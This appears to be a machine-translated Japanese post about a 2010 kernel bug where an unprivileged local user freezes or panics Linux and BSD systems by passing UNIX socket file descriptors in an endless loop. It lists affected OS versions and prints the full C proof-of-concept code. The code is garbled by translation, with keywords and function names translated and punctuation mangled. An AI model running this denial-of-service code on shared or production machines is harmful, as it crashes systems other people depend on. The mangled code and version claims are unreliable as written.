コンピューターをフリーズさせる公開コード(すべてのコアの100%ロード、ファイル記述子の枯渇)。
コードリンク:
lkml.org/lkml/2010/11/25/8
27、32のチェック-ハングが再現されます。 32/64ビット。
明確にしましょう。1〜2秒後にクラッシュダンプが飛んで(読む時間がありません)、ホストが過負荷になっています。 別のテストでは、プログラムが終了した後(約5〜7秒後に)システムがクラッシュしました。
LauraのPSエキスパートは、FreeBSD 8.1もクラッシュすると言います。
PPS突然-2.6.18以降のCentOS 5.5ではクラッシュしません。 ルートから実行する場合、ユーザーからドロップします-静かに実行します。 この場合、隣接するコンソールのルートは作業に干渉せず、システムはクラッシュしません。
状況を明確にしようとしています:
1)非特権ユーザーのCentOS 2.6.18 / 64は影響を受けません。
2)権限のないユーザーがいるDebian Squeeze 2.6.34 / 64が公開されています(カーネルパニック)。
3)噂によると、一部のFreeBSDで再現することが可能でした(コメントから-FreeBSD 8.2-PRERELEASEは再生されません)
4)コメントから-Ubuntu 2.6.32 / 64では再現できませんでしたが、2.6.36では再現されています。
5)Ubuntu 2.6.34 / 64-再生可能
6)コメントから-RHEL5.5はフリーズしませんが、速度が低下し、プロセスを強制終了できなくなります。
7)コメントから:FreeBSD 4.11、8.1、OpebBSD 4.6、4.8、DragonFLY BSD 2.8.0-影響あり
8)OpenVZ + 2.6.18 Debian / Centos-再生できません。
テストする人のためのPPPS-非特権ユーザーから始める必要があります。
テストテキスト:
#include <sys / socket.h>
#include <sys / un.h>
static int send_fd(int unix_fd、int fd)
{
struct msghdr msgh;
struct cmsghdr * cmsg;
char buf [CMSG_SPACE(sizeof(fd))];
memset(&msgh、0、sizeof(msgh));
memset(buf、0、sizeof(buf));
msgh.msg_control = buf;
msgh.msg_controllen = sizeof(buf);
cmsg = CMSG_FIRSTHDR(&msgh);
cmsg-> cmsg_len = CMSG_LEN(sizeof(fd));
cmsg-> cmsg_level = SOL_SOCKET;
cmsg-> cmsg_type = SCM_RIGHTS;
msgh.msg_controllen = cmsg-> cmsg_len;
memcpy(CMSG_DATA(cmsg)、&fd、sizeof(fd));
return sendmsg(unix_fd、&msgh、0);
}
int main()
{
int fd [2]、ff [2];
intターゲット;
if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、fd)==-1)
1を返します。
(;;)
{
if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、ff)==-1)
return 2;
send_fd(ff [0]、fd [0]);
send_fd(ff [0]、fd [1]);
閉じる(fd [1]);
閉じる(fd [0]);
fd [0] = ff [0];
fd [1] = ff [1];
}
}